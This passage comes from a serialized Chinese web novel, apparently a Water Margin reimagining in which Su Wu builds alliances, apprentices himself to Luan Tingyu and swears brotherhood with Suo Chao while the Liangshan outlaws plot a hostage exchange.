“好说好说……拜谢哥哥。”武松连连点头,他今日显然被潘金莲几番挑弄,弄得有点慌了。 “但也不能一味讨好,只管也要说出一些告诫之语,不仅要劝说,还要看管,还要有几分恐吓,也要待她好,但待她好也不必过于和颜悦色,你可拿捏住其中分寸,只待她生出一儿半女来,兴许也会不一样了……” 苏武是一通操作,只希望最好别出什么事来。这般弄,哪怕潘金莲心中依旧对武松有那情愫,也无妨,这一辈子也可以这么过去…… 故事里潘金莲做的一些事,有很大一部分原因并非只是因为生理上的,更多还是心理上的,人活一张脸,也活个情绪价值。 甚至也要让潘金莲能在她那前主人张大户一家人面前装装逼。 也教人在她面前多说几句让她心中能爽快的话语,比如:本以为她潘金莲是嫁错人,却不曾想竟是嫁得如此好。 往这方面满足着,再看着守着防着,兴许真能安安稳稳过得下去了。 再一个,武大其实也不是完全不明白,他心里也如明镜一般,只要潘金莲不真做什么过分的事,武大平常也只管把潘金莲哄着供着。 只要武松这里处理得当,安稳过下去的可能性很大。 武松自是只管点头:“都依哥哥说的去做。” 却是苏武忽然脸上又有了几分凶光,说道:“那个王婆……是个祸害。” “哥哥,怎么说?”武松不解又问。 “不必怎么说,你想个法子,把那王婆赶出阳谷县去。”苏武知道王婆终究是个真正的大祸害。 “打她倒也无妨,赶走……”此时的武松还是直了些。 “这事,交给董坚去办。”苏武如此一语,这种门门道道,此时的武松远不比董坚。 “好好好……”武松心中最怕的,还是怕对不起自家兄长。 “还有一事。”苏武有正事。 第51章 贵客自然吃好茶 杨家厅里落座,茶水点心都上,杨家小公子杨宗铁蹦蹦跳跳就来了。 还有一脸的兴奋,但却礼节极为标准,躬身九十度:“苏都头好。” 这小子倒是招人喜欢,粉粉嫩嫩的,笑脸上还有两个梨涡。 苏武看得这九十度的鞠躬就笑:“你也好。” “嘿嘿……苏都头来寻我什么事?”这小子肯定是听了谁的交代,恭恭敬敬站在苏武面前。 “跟你谈生意。”苏武伸手摸了摸杨宗铁的头。 “啊?这个……我去叫嫂嫂出来与你说。”杨宗铁转身就要去喊人。 “不用,我说你听,记着就是。”苏武手还在杨宗铁的头上,稍稍一扭,把转身去的小子给扭回来了。 杨宗铁来回转了两个半圈,自己也乐:“嗯,好,我记着。” “你家生意做得不小,商道船只之类,想来也都熟,各地商户想来都有来往,我也要做点生意,这些门路,本也要寻人打听寻人问,寻别人还不如寻你家,还有那些掌柜伙计之类的人手,想来你们家也多……” 渠道人手问题,乃至什么运输之类的价格,外地商户联络,其实生意是件很麻烦的事。 杨家现成就有,与其自己慢慢去解决,不如就就找杨家一次性搞定。 杨宗铁小朋友只管点头:“嗯,我记住了。” “嗯……要是你愿意啊,我与你家一起成一间商行,便就用你们现成的人手,你考虑考虑。” 苏武想很多事,这个办法,其实极好,什么事都要有专业的人,专业的团队,苏武身边这些人,比如武松,干不来这些活。 但武大兴许不一定,只是武大也挑不了大梁,还得是杨家这个摊子看起来好用。 “嗯,我又都记住了,我等会就都说与我嫂嫂听。”杨宗铁小朋友连连点着头。 苏武也笑,这小子还挺明白事,知道苏武不是说给他听的。 “好了,走了。”苏武没什么多余话语,起身就走,只待一个回信就是,如果此事谈成,以后不论什么事,只要是关于买卖之类的,就直接交给杨家人就是。 也就是渠道已然通了,杨家有杨家的生意伙伴,不论是买什么卖什么,他们也更容易操作。 “恭送都头。”杨宗铁小朋友又是躬身大礼,还往门口去送。 孟玉楼还真把这小孩子教得不错。 只待苏武出了门去。 杨宗铁飞快往院里奔,只待到得前厅,嫂嫂孟玉楼已经坐在了刚才苏武坐过的椅子上,正在看苏武喝过的茶杯。 杨宗铁上前就开口:“嫂嫂,他要与咱们做生意,他说……” 嫂嫂微微抬手:“我都在窗后听到了呢。” “嫂嫂,他怎么要与我说呢?何不如直接与嫂嫂说……” “你啊,还小,大一些就明白了。”孟玉楼说着话语,微微抬左手去撩起右手的大袖,然后右手去拿起苏武喝过的杯子,看得几眼,转头喊人:“拿去洗了吧……” 自有那小丫鬟上来收拾。 杨宗铁便是又说:“这次他倒是吃了咱家的茶呢。” 孟玉楼笑了笑:“你啊,午后就往衙门去,就去回他,就说你想好了,愿意与他一起做生意,若是一起开个商行,也极好,还要谢他,知道怎么谢吗?” “知道知道。”杨宗铁连连点头,然后直接躬身一礼,说:“谢都头抬举之恩……” 孟玉楼看着小叔子学得有模有样,脸上皆是欣慰。 小叔子却是又问:“嫂嫂,咱们连做什么生意都不知道呢,不问问吗?” “与旁人做买卖,自是要问,更要谨慎小心,问得清清楚楚,乃至还要派人去打听打探其中内情。但与苏都头,就不必问……” 孟玉楼教得很认真。 “为何呢?”杨宗铁也还有疑惑。 “因为啊,他如今不是都头了,是东平府里的官,他是贵人,咱是商户,你懂得这个道理吗?” “我懂我懂,咱们商户,就要与贵人交好。苏都头是贵人,咱们就与他交好,如此生意就做得长久。” “正是这般道理。”孟玉楼越发欣慰。 小叔子忽然又说:“嫂嫂,那苏都头真是极好的人呢。” 孟玉楼不自觉点了点头。 “嫂嫂……” “嗯?” “嫂嫂,我都懂,咱们家如今难,那些掌柜伙计们都耍小心思,便是看着我太小,又看着嫂嫂是个女子,他们想欺负咱们,如果是苏都头的生意,他们必然就不敢如此了。” 杨宗铁说话之间,看向嫂嫂的眼神,着实有几分心疼,他显然也知道,这个家,如今都是嫂嫂在撑着。 孟玉楼听得这般话语,又岂能不感动?便也是伸手摸了摸小叔子的头:“你要争气才是。” “嗯……”小朋友似真有了一脸坚定,却是又说:“嫂嫂,我看苏都头挺好……” “嗯?” “苏都头挺好的,他不比一般男子,教人看着就爽快,他又是魁梧有力,又是待人和善,有英雄气概,还长得也周正非常,还正人君子……他……” “莫要胡言乱语,小孩子懂什么……” “我……” “好了,去把你上午先生留的抄写拿来与我瞧瞧。” “哦……”小朋友撇着嘴就去了。 只待把抄写拿来,孟玉楼接过去看,杨宗铁还是忍不住,又说:“嫂嫂,头些日子,还有好些个媒婆上门来说,我明白着呢……” 孟玉楼拿着抄写,慢慢看着,却是叹了一口气:“宗铁,嫂嫂是未亡人,是寡妇人家,他是东平府里的官……” 杨宗铁小脑袋瓜子认真在想这番话,问了一语:“他看不上嫂嫂,对吗?” 孟玉楼却也不答这话,只一抬头:“去,把戒尺取来。” “又是哪里抄错了,唉……我都抄得认真非常,怎么还抄错了。” 小叔子知道自己要遭罪了,却也老实去拿戒尺。 取戒尺的间隙,孟玉楼看着刚刚收拾好的茶几,与身后丫鬟说道:“下次如果苏将军再来,换个茶,直接往我屋里去取那春香膏来……” “主母,春香膏可是东京来的好茶膏,可不多了呢……” “贵客自然吃好茶……”孟玉楼答着,便也接过了递到面前的戒尺。 第52章 待我思虑一二 只待午后,杨小公子带着一个仆人,坐着车,屁颠屁颠往衙门里去。 衙门口,差役不多,却是披甲的军汉威武非常,小公子倒也不怕,还上前去看个稀奇。 只待见到了苏武,苏武端坐明堂,左右大汉如狼似虎几个,他也不怕,只管上前去见礼。 苏武只问:“你想得怎么样了?” “拜谢苏……将军抬举之恩,嗯……苏将军愿意与我杨家做生意,那是我杨家的福气……嗯……” “好了好了,别编词了。”苏武看来,这场面其实有点搞笑。 杨宗铁愣了愣,一脸无辜看着苏武,准备的台词还没说完,躬身撅着屁股,倒是有些无措。 就听苏武说:“既然做买卖,我先送你家一桩好买卖,你回去啊,就派家中掌柜去接管以往西门家的那间生药铺,不要钱,就算是商行入了股,也让你杨家知道我的诚意,往后生药铺赚了钱,我六你四,按时分来就是。至于再以后的生意,只等我来与你说……” “嗯?”杨宗铁一脸无辜换了一脸茫然。 “好了好了,回去吧,我的话语你记着,别一会儿忘记了。”苏武笑着摆手。 “哦,那将军留步,小人这就回家与嫂嫂说。”杨宗铁撅着屁股,往后退去。 一旁有武松笑道:“哥哥,这小子不错呢,小小年纪,拿得出手。” 苏武只点头:“这杨家啊,还不错。” “哥哥,该往校场去了,那边人都聚齐了。”武松提醒着。 苏武起身,便也与武松说:“这些人皆不堪用,只点了名册,都让他们各自回去,只待往独龙岗去招一批人手来,乃至也要在县乡里多招一些,补个三百人,那府库里的军械兵刃,该修整打磨的便修整打磨,需要回炉重造的也都送到城里铁匠处去,还待我慢慢来再多置办。” 武松听得认真,连连点头:“哥哥放心,只要是哥哥交代的事,我一定做得妥妥帖帖。” 出得衙门往校场去,苏武抬头看了看天色,忽然一语:“那董平应当已经到了梁山泊。” “哥哥忧他?”武松问。 “前有刘唐折在咱们手上,后有董平上山去入伙,近来只怕要与这伙大贼先交一番手了。倒也不惧,他们如今不敢大张旗鼓出那水泊,来得几个宵小之辈本也算不得什么,若是真来了好汉,咱兄弟也不在话下。” “那是!”武松头一扬。 “但也忧他们暗里来做点什么,我虽了无牵挂,你却还有兄长嫂嫂。得想个法子,先下手为强,引蛇出洞也好,将计就计也罢,都要让他们知道厉害,往后就不敢轻动了。” 苏武又在谋划什么,许多事,不得不想,还得认真去思索,不可有一点点大意。 “哥哥只管吩咐。”武松此时,只觉得不论什么事,到得自家哥哥身上,那都不算事。 两人往那校场去。 梁山水泊之上,有那聚义堂。 聚义堂里,托塔天王晁盖虎背熊腰坐在正中,左边是一个村学究,名号智多星吴用。 右边是那东京八十万禁军教头,豹子头林冲。 左右下手,还有阮氏三雄,打渔弄水的好汉。 正是这伙人,劫了梁中书送给东京蔡太师的十万生辰纲。 再下面,云里金刚宋万,摸着天杜迁,也就不必多说了,还有旱地忽律朱贵守在水泊外的酒店处。 寨子里,还有四五百号喽啰。 众人聚在一起,只因当面是那东平府兵马都监董平前来入伙。 只待董平气急败坏一番说。 托塔天王晁盖就一脸怒气,正骂:“刘唐这厮,生得个莽撞胡乱性子,教他往宋太公处去,速去速回,偏偏不听嘱咐,真是……” 那村学究吴用打断了话语:“天王再动怒也于事无补了,便是我等弟兄们一起想想办法才是。” 双枪将董平此时也不见外,直接开口:“只待得晁天王借某五百人马,那东平府里都是某的兄弟,我自去打破东平府,擒得程万里与那苏武,刘唐兄弟岂能不放回来?” 晁盖闻言,倒是眉宇间展了一下,正要说话。 吴用却先开了口:“董将军自是神武不凡,但这般大事啊,还待兄弟们计议一二,即便真要去,也要多做准备才是,董将军一路来得辛苦,且先去吃杯水酒,休息一夜,只待明日,再定此事。” 董平闻言,还真就感觉腹中饥饿,疲乏困顿,便是点着头说:“此仇不报,誓不为人,如今皆是奸佞小人当道,好人偏偏逼着落了草来,晁天王,只要报得此仇,我董平说一不二,从此牵马坠蹬,唯天王马首是瞻!” 晁盖听得连连在笑,吴用也一脸的和煦笑容,只管吩咐:“来人,快给董将军寻个软榻,上得酒菜,好生伺候着。” 自然有人上来请,董平抬手一拱:“多谢!” 只待董平出得聚义堂,晁盖立马开口:“学究,你是不信这董平所言?” 吴用便答:“不是不信,只是……就凭咱们寨子里这四五百号人,哪里打得破东平府坚城。” “他不是说了吗?东平府内皆是他的兄弟。”晁盖又道。 吴用先去看了看林冲,才说:“天王,就说林教头,昔日里在军中岂能没有相好的同袍?只待林教头落了难去,又有谁人敢帮衬一二?落井下石的人倒是有。” 林冲接了话语:“是啊,董平说是大名府梁中书与东平府的程万里两人合谋构陷他,这事呢……便是无论如何,董平成了反贼,那东平府里就算有人与他交好,又怎敢与反贼为伍?一家老小性命岂能不顾?” 晁盖听得两番言语,面色一沉:“看来董平之法,不可成。那学究可有好计,便也不能看着刘唐在大名府里教人杀头剐身!” 晁盖这人,别的长处不多,但有一点,还真是不打折扣的义薄云天,无论如何,也要想方设法救得刘唐! “待我思虑一二。”吴用便是皱眉在想。 众人当真就等他思虑,便是也都知道,这位智多星,多的是那种歪门邪道的计策。 只待吴用想定开口:“我两计说与众兄弟们听,第一计,咱兄弟们武艺不差,就往大名府去,寻个机会把人劫了,只是那大名府路远,那里军汉衙差也多,有本事的人也多,至于到底劫不劫得成,便看天意,也看刘唐兄弟的命了。” 晁盖直接就问:“那第二计呢?” “这第二计,咱们得绑一个人,绑一个重要的人,与那官府换刘唐兄弟回来。”吴用说到这里,便是左右去看,显然他自己更心仪第二计。 果然,晁盖也说:“第二个办法好,林冲兄弟以为如何?” 林冲想了想,却也点头,但说:“只怕如此,那董平怕是不愿了。” 吴用却答:“只待我去与他分说,先行安抚,绑人之事,倒也要他出谋划策,寻个人选。既要很重要,能换得刘唐兄弟回来,又要好绑,不至于失手,如此才可。” “那就请学究去与董平分说……”晁盖点头,便是定计了。 (冲到了总榜第七,兴许已经差不多到天花板了,兄弟们太强,拜谢了许多次,还是再拜。只看编辑哪日安排上架,存稿虽然没有,但我写他个天昏地暗。至于上架时间,我个人预测,兴许一两周左右,兄弟们忍一忍,给你们一个“么么哒”。) 第53章 拜见栾师父 稍稍处理了一下阳谷县的事,再把云理万云理守带上,案件卷宗都带上,苏武便带着索超的徒弟周谨,并三百多号铁甲军汉,就往东平府里回。 从西门庆到云理守,再到董平,这一番事的程序,也就算基本走完了。 武松留在阳谷县里,他自是镇得住阳谷县那二三百号稀稀拉拉的厢军,另外也开始立旗招那良家子。 五十里地,清晨出发,半日就到,便又是独龙岗。 这回苏武不客气了,三百多号军汉就往那祝家庄去,这顿饭还是要吃的。 祝家庄比李家庄、扈家庄大得多,校场上三四十张桌,轻松摆下。 祝家老庄主祝朝奉、扈家老太公,李应,皆在列席。祝家三兄弟,扈成扈三娘兄妹,鬼脸儿杜兴自也在场。 还有祝家庄那枪棒教头栾廷玉,四十岁出头的年纪,身材并不十分高大,却是匀称非常,便是看脸,就有那一脸的周正,看起来就是个硬朗之人。 恭喜贺喜之声此起彼伏,而今地界上换了新官,这三庄不免也还要苏武这位新官睁一只眼闭一只眼。 不然这三庄又养庄客,又建堡寨,还私藏兵器铠甲弓弩之类,真论起来,那已然就是大罪。 苏武坐在首席中央,直接左右开口安众人之心:“诸位,你们独龙岗三庄,皆是良民百姓,拿得一些兵刃,那也只是为了保境安民,而今世道多贼,自也是无可厚非。” 便是这一语,众人稍稍悬着的一颗心也就都完全定住了。 苏武左边坐着的祝朝奉,便是拱手:“将军体恤民情,当真是一方之福。” 右边扈家老太公也来拱手:“将军如此厚待我等,往后但有所托,定不敢辞。” 苏武左右笑着:“某也知道,你们的日子过得也并不轻省,以往那董平予取予求,着实也是为难了人,某与李庄主,还有祝家兄弟、扈家兄妹,本就相熟,往后什么事啊,都好说,只愿咱们同心,共保一地安宁,最好不过。” “那是那是……”扈太公连连点头。 祝朝奉更是说道:“有苏将军如此好官,我等岂能不是那鞍前马后?苏将军一任,自是东平府一片安宁。” 苏武知道,虽然都是官腔官话,但其实也是意义重大。 既然这一番话说完了,那就要深层次里再建立一些感情与联系,苏武便是开口:“听闻栾教习枪棒武艺世间罕有,比得谁人也只高不低,某有一冒昧之请……” 苏武这虽然是吹,但也是实话,栾廷玉枪棒武艺,那就是世间独一档的存在,他的江湖名号就叫做“铁棒”。 铁棒栾廷玉,此人有万夫莫当之勇,真要比起来,兴许也唯有大名府玉麒麟卢俊义,能稍稍压他一头。 苏武如今,身为军将,越发需要这一手枪棒绝技,也就是长兵器的手段,更是打马杀敌的手段。 栾廷玉本是陪坐一旁,此时闻言眉宇一动,转头来笑:“将军但说无妨!” 苏武也不客气,直接说道:“某多擅长散手相扑之法,愿拜栾教习为师,习练枪棒,万望教习莫要嫌弃……” 苏武这话说得满,直接拜师了,栾廷玉立马站了起来:“不敢不敢,武艺切磋是小事罢了,岂敢与将军为师?” 苏武便也起身,更说道:“既学绝技,岂能不以师礼相拜?” “不敢当不敢当!”栾廷玉似也有些不知如何是好,只去看左右之人。 不待左右之人多说,苏武已然从席面上下来,走到栾廷玉身前,躬身一礼:“拜见栾师父。” 苏武明显心中想得多。 为何非要拜师? 一来,栾廷玉这手绝技着实是强横无当,故事里那些梁山之辈,什么一百单八将,一般人等,在他手上,走不过片刻。 即便是霹雳火秦明之强,在马上也弄他不过。栾廷玉更还有几分机智,便是靠着机智,还擒住了秦明。 栾廷玉,真强!世间难寻的人物。 苏武更是急需增强自己打马杀敌的本事,这是刚需,更是未来保命的手段。 二来,栾廷玉背后还有一大堆人物,此时登州兵马提辖病尉迟孙立是他师弟,孙立还有个弟弟叫做小尉迟孙新,孙新的老婆是母大虫顾大嫂。 这一批人,往后都算有个门路去招揽。 三来,这一点最重要,其实很简单,就是把栾廷玉变相招揽到麾下,有了这一层关系,栾廷玉往后就用得上了。 乃至,苏武与祝家兄弟还成了同门,也是多一层私下里的关系了,不是那种单纯的官与民的关系。 自己人这种关系,就是靠这些东西凝聚出来的。 就看苏武躬身拜在当面,栾廷玉连忙伸手去扶,显然他着实有些惊到了。 有道是官就是官,民就是民,身份上的差距大得不可想象,就好比以往的董平,董平何曾正眼瞧过这些人? 如今苏武这般姿态,不仅是惊到了栾廷玉,也是惊到了在场所有人。 只看得栾廷玉一时无有话语,祝朝奉却是开了口:“栾教习,将军如此礼贤下士,不看你身份高低,只看重你一身真本事,天下哪里还有这等赤忱坦荡之人?将军如此相拜,岂不就是那刘玄德三顾茅庐之恩情?” 栾廷玉吃惊之中立马反应,只把苏武再扶了扶:“将军如此看重,我又怎好再拒?着实是这拜师之事……” 苏武直接打断:“有道是,达者为师,某为军将,要习栾教习一身枪棒,岂能失礼?” 栾廷玉一脸感动并着激动,连连摆手:“好说好说……” 祝朝奉也笑着说道:“东平府兵马都监,如此拜师学艺,坦荡赤忱,礼贤下士,有礼有义,传出去,岂不是一桩美谈?” 祝朝奉这话语里,自也有他的心思在,这件事若成了,祝家庄从此还就真不一样了,上面有苏武来罩着,岂不是比以往任何时候都要稳当? 苏武最后出一招:“倒也要祝老太公与三位祝家兄弟见谅一番,某多在府衙与军中走动,公务繁忙,与栾师父学艺,便也只有请栾师父随着往东平府里去住一段时间……不知老太公可能应允?” “好说好说,栾教习虽是庄中教习,但平常里也无甚要紧事,多去东平府住一住,再好不过。”祝朝奉笑得露出了嘴巴里还剩的七八颗牙来。 苏武左右看了看,又与栾廷玉说道:“还请栾师父万万不要再推辞了。” 栾廷玉直把苏武拱出去的手一抓,说道:“将军如此看重,又岂敢还做那扭捏造作之态?” 搞定! 苏武心中已然是大喜,栾廷玉这么借去了,那就不会再有还回来的时候了。 世道乱前,黄昏未黑,旁人不知英雄好,苏武又岂能放过真好汉? 苏武只管举杯:“请!” 一时间自是气氛热烈,这边恭喜新官上任,那边也在恭喜栾廷玉得遇看重。 连祝家三兄弟也放开了不少,几碗酒下了肚,与苏武便是红脸在笑,话语不断。 还有那扈三娘,刚才一番,倒也看得当真心中有感,苏武是真不同,莫名之中,越发多有了一种亲近感。 为何?因为苏武知道一个词,叫做接地气。与这些人交流,别人看他是铁甲军汉中的将军,他若提着一身威势,再如何说那些官腔,终究成不了一条心,唯有接地气,才能有人心。 这只是个开始,还待慢慢来,祝家三庄,必须完全纳入麾下。 第54章 我大宋朝这世道,是不是变了? 只待酒过三巡,菜过五味,苏武再说一事:“想来三娘与诸位都说过了,过得几日,某便当真派人来庄子里招揽人手,还请诸位行个方便才是……” 还是祝朝奉来表态:“将军,独龙岗这里,土地广袤,良田无算,这些年来,人丁愈发的多,一茬又一茬的生养,人丁兴旺得紧啊,多的不说,将军派人来,招个一两千号青壮汉,不在话下!” “老朽自是回去先行说上一说,也帮将军先甄别遴选一二,只待将军来招。”扈老太公也表态。 李应自也来说:“庄子里,半大少年郎多的是。” 这事,对独龙岗三庄也有好处,为何? 因为如果东平府的精锐军汉,很大一部分出自独龙岗,往后独龙岗就更多几分保障。 这本就是双赢之事。 苏武已然左右拱手来去:“多谢诸位行这般方便与某,如此一心,何愁东平府不宁?” “仰赖将军安治。”祝朝奉也是拱手来谢。 “勠力同心,共保一方!”苏武也回话语,说得振奋。 一顿饭吃去,苏武还是要走,虽然酒喝了不少,东平府还是要回。 众人送得苏武上大道,苏武便也不让众人远送了。 栾廷玉收拾了行礼,祝家庄派了一车,便是跟着苏武往东平府去。 扈三娘却又打马多送了几步,马匹与苏武并排,姑娘在问:“将军麾下,招不招女子?” 苏武笑着说:“你又来说笑,军中皆是男儿汉,来个女子算怎么回事?” “乐府诗里有唱,那花木兰不也从军了吗?”扈三娘还要问。 苏武倒是也有惊讶:“你还读过乐府诗呢?” “你又小瞧人不是?”扈三娘多少有些不快。 “倒也不是小瞧你,终究是不妥当,这事啊,不成。你若是闲暇,来军中玩耍倒也无妨,从军万万不行。” 苏武严词拒绝。 小姑娘略有失望,又问:“那……那你什么时候再来?” “有事就来……”苏武答着。 “那我当真去你军中玩耍?到时候总不会教人挡在门外吧?” “那我提前吩咐了去,给你留一军令,你来了,自往军中进。”苏武笑着说。 “说好?” “说好!”苏武点着头。 “那……那我回去了。”扈三娘打马转向,已然送得很远了。 苏武点着头:“路上快些,小心。” “这路我熟呢……”说着,马匹就走,走得远了,小姑娘便又回头去看,看着看着,也就看不到了。 如此,苏武便又与栾廷玉并排了去,说道:“还请栾师父定个习练的章程,我好照着来办。” 栾廷玉此时已然不再谦虚什么,既然承了这事,便是用心,只答:“每日早间,太阳初升,将军上值之前,先习练一个时辰枪棒,待得黄昏之时,将军便也要下值了,再在校场习练一个时辰枪棒马战,如此可好?” “好,就依栾师父所言。”苏武点着头,别的事重要,但这件事,此时此刻,更重要。 一个称呼栾师父,一个称呼将军…… “将军放心,我自尽心尽力来教,也知晓将军本也是武艺不凡之人,自是悟性也不凡,还看将军这般身板,必是事半功倍,也是我这一手枪棒绝技,本就非同寻常,只待一个月去,将军即可对枪棒之法熟悉起来,只待三五月去,定也是一把好手,此后勤学苦练,日日不辍,经年累月,与人厮斗,将来必然成就不凡,说不得也是枪棒一道绝顶的强人。” 栾廷玉分析得很认真,也是对自己这手绝技很自信。 苏武听来,倒也有了憧憬,既然走上了这条路,那就由不得多想,就是干! 黄昏入城,众人只往城中军营里先去休息,人犯也当在索超军中看管。 苏武还是先去拜会知府程万里。 又是那后衙书房,两人倒是没什么寒暄了,直说正事,苏武把案件卷宗先递去给程万里看。 程万里慢慢翻看,口中只说:“好好好,极好极好,条理清晰,问答清楚,严丝合缝,滴水不漏,样样俱全,如此公文,到了东京,必也说不出二话来,你办得一手好差!” 苏武也不说那些自谦的话语了,只说:“相公,如此便也是尘埃落定了,也能睡个好觉。” “这几日,着实辛苦了你啊,这城中军事也当还要整备,接下来还有得你去忙碌,本府这里啊,无甚能帮衬,拨你一些钱财方便,不多,一万贯公使钱,不好用不信任之人,只管让他们往一边去,你寻些好用可信的来……” 这出手,着实大方,可见程万里此时,依旧心有不安。 便是催着苏武赶紧把这些事处理好,因为这些事处理不好,只待索超带着兵马一走,那真是睡都睡不着了。 “相公放心,自当竭尽全力办好。”苏武答得认真,但也知道,即便再来这笔钱,也还是与他心中谋划所需相去甚远。 也是苏武心中一样不安,总觉得肯定还要出什么事,梁山之贼,必来生事,就看生的什么事了。 也待苏武脑袋去思索应对…… 甚至也要想得长远,接下来,许多故事都要开始了,得赶紧建几分势力起来,如此才有资格参与其中。 程万里又是点头认可:“你办事,本府放心非常。” “相公近来,也好生歇息才是。”苏武是看出来了,程万里脸上那两个黑眼圈也大。 “嗯,你回来了,本府今夜,兴许能睡个安稳。” 程万里这么来说,苏武甚至都有点意外,请分析一下,这是一种什么感情? “还有一事,那董平的家宅,本府倒是没有让人去动,你回来了,明日便由你去……想来那厮有几分积攒,府库里钱粮不多,你去那厮府中查抄,便算补给你添置人马……” 程万里为了能睡个好觉,那也是舍得非常。 兴许也是程万里小看了董平一个武夫敛财的能力。 “多谢相公……”苏武倒也并不激动。 程万里摆着手,一脸疲惫说道:“不必客套了,你我之间,不同旁人,你对我呢,算起来,有那救命之恩,我对你呢,也算有那抬举擢拔之情。虽然以往并不相熟,如今一番,已然不分内外。” 程万里也有程万里的御人之道,但这话听来,其实苏武也有几分感动。 就听程万里又是叹息一语:“苏武,你说,我大宋朝这世道,是不是变了?” 苏武微微看去…… 程万里若有所思,再问:“你说呢?” 苏武才点头:“许是真的在变吧……” “唉……”程万里长长叹了一口气去,疲惫不堪之中,有气无力摆摆手:“你回吧,早歇息。” (总榜第四了,真是不曾想过的高度,还有点诚惶诚恐,也算是我写作生涯中的高光时刻了,不知上架到底是个什么成绩,期待中。兄弟们,我爱你们!爱得深沉!) 第55章 见过哥哥! 当真好好睡了一觉,苏武早起稍稍洗漱,从军营班房里出来,才认真开始打量这座城中的军营。 军营不小,前后左右好几排聚居房舍,中间围出一片校场,校场上还有点将台,这般设计,兴许也有道理在其中,比如可以有效防火,防止火烧连营,也可便于士卒从各方到校场集结。 平常里,很多军汉都是拖家带口,真正住在军营里的,其实不多。 栾廷玉却是早早等在门口,见苏武出门来,拱手一礼:“将军,今日可晚了些!” 栾廷玉还真是认真负责,在古本水浒里,他一人连败李逵、关胜等十几个梁山好汉,连武松上场也并未胜得他,最后只败在卢俊义手中,被众人围攻而亡。 四十多岁的汉子,还有这份战力,必然是一个极其自律的人,一辈子都钻研在武艺之中。 苏武有些不好意思说道:“栾师父不知,这几日来来去去,夜间也多赶路,着实没怎么休息好……” 栾廷玉摆摆手:“今日无妨,往后不可,将军请!” 苏武点着头,随着栾廷玉往校场走去,栾廷玉已然准备了两杆长枪,皆是浑铁铸造,倒也并不如何锋利,只是颇为沉重,利于学艺与锻炼。 栾廷玉认真非常,摆了架势,看苏武有样学样,他便开始:“枪棒之法,虽然有相同之处,但其实区别甚大,棍棒多走江湖,若是混铁棍,则为钝兵,上阵便能破甲,多以大力砸击。枪则不同,枪在稳准狠,更在灵动与长度……” 苏武慢慢听着,听得也极其认真。 说完这些话语,栾廷玉开始慢慢演示一些枪棒基础…… 苏武还真就感觉好似耍起来并不难,乃至这浑铁长枪的重量也极为顺手,显然也是栾廷玉看得苏武这般身板,才在库房里选此浑铁枪。 倒也有好处,那就是既可为钝兵,又可为长枪,还能强体健身。 认真去学,时间也过得飞快,一个时辰,说到就到。 有那索超带着人从远处走来,先是点评:“说兄弟是新手,某不信,随便一学,便当真耍得有模有样,头前厮杀,兄弟还能轻易捅人下马,当真是悟性非凡。” “倒也真是顺手。”苏武点着头,停了手中的枪,也知道要干正事了。 栾廷玉一旁来说:“武艺之道,与人搏斗,或是与人厮杀,许多东西,一通百通,其中更有胆魄与应对。许多人武艺学了不少,临阵却是畏畏缩缩不知如何是好,有些人即便不曾正经学过武艺,杀起人来,也是手起刀落,其中道理并不复杂……” 索超闻言,看了看栾廷玉,只说:“这位兄台当真好见识。” 苏武便是介绍:“此乃某新拜的枪棒师父,姓栾,大名廷玉。” “见过!”索超当真便起几分尊敬。 栾廷玉自也拱手:“有礼!” 如此,索超走到苏武身旁,说道:“那知府相公可当真是对兄弟你极好啊,我麾下兵马可围了那董平府邸许久,非要等你回来才可查抄。” “走吧……”苏武笑着,也转头与栾廷玉说:“栾师父若是无事,便跟在某身边走动,也是想聘用栾师父为我东平府军中教头,月俸自是好说,不知栾师父意下如何?” 栾廷玉只管拱手:“多谢将军抬爱,自当做好此差。” 世道太平的时候,如栾廷玉这般人,只能寻一个地主豪强家的差事,其实收入并不多,而今苏武便是真给身份待遇了。 苏武还拱手去谢:“承蒙栾师父不弃,苏武在此拜谢。” 栾廷玉连忙又是来扶:“将军往后万万不要这般多礼了,我也知将军心中看重敬重不是作伪,若是还如此多礼,岂不是与我见外?” 对于江湖人,特别是栾廷玉这般自律的江湖人,当真可以是投之以桃,报之以李。 就好比故事里,祝家庄请他做个教习,他就可以为祝家庄战死。 苏武也不多言,竟是顺手把栾廷玉的手一牵,只管往前去。 也是时代不一样,这个时代的男人与男人,牵手从无不可,乃至同床同被抵足而眠,也只显兄弟情深。 乃至中国,自古如此!只是有朝一日,会变。 只待到得董平府中,军汉如狼似虎开始查抄,一篓一篓,一箱一箱,只管往院子里抬。 索超与苏武站在当场,苏武便也开口:“只怕两万贯财货打不住。” 索超也是吐槽:“这厮,当真能敛财,不知喝了多少兵血……” “本是从军汉身上来的,便也该用在军汉去。”苏武如此说着,看了看索超,又说道:“兄弟,此番辛苦,按两万贯来算,兄弟你拿一万贯去,也是兄弟麾下本也有死伤要抚恤,出门一趟凶险,又怎能没有一点收获?” 索超闻言,连连摆手:“知府相公已然赏赐了一些,回到大名府去,中书相公自也还有赏赐,兄弟你如今才是真要用钱,这钱我万万不能要。” “兄弟此言差矣,来日兴许我也往大名府去助你,难道你还能让我空手而归?”苏武笑着说。 索超倒是愣了愣,似在想些什么,又道:“你说,如今这几年倒也奇了怪了,贼也在多,盗也在多,上山落草的也越来越多,竟还有军将通贼谋反……你说将来兴许你还要来助我,乍一听只觉得大名府当是不会出得什么大事,真一想,嘿,还保不齐了。” “正是此理啊,你取一万贯去。”苏武说道。 索超还是摆手:“那我就取了,但我就取个……五千贯吧,兄弟不必多言,就这么定了。” 苏武稍稍一想:“也好。” “兄弟,咱们之间有件事,可不能忘记了。”索超忽然笑着提醒。 苏武立马说道:“那自不能忘去。” “好!”索超左右一抬手。 就看香案抬来,明烛在点,点火焚香,老酒一坛,公鸡一只,便是个仪式场景。 这般事情,若是文人看来,只觉可笑,乃至还会心生几分厌恶,甚至在某些时候还是违法行为。 但是武夫面前,着实看重! 鸡脖子一割,那公鸡连连抽搐,热血从脖颈而出,落在两碗老酒之中。 两人在案台之前焚香,一个头磕在地上。 只说得天地为证,兄弟二人在此结拜,倒也没什么不是同年生却要同年死,只说同进同退,两不相负,但有违背,人神共愤,天诛地灭,不得好死。 如此,再三个头往地上磕去,酒中带血,便是一饮而尽。 只待苏武一转头来,没想到索超已然先开口:“见过哥哥!” “诶……”苏武连忙扶过,也问:“如此怕是……” “哥哥智计胜我,官职胜我,自当为兄长!”索超兴许有什么心思在其中,已然就是这么决定。 “这……”苏武也不是装,是多少有些不好意思。 “哥哥且不说二话!”索超已然拉着苏武的双手起身。 苏武起来,两人竟是还有一个相拥,也不觉得违和。 如此,两人再说话,更是交心非常。 第56章 就是个瓮中捉鳖 就听苏武问:“兄弟此番回去,可得升迁?” 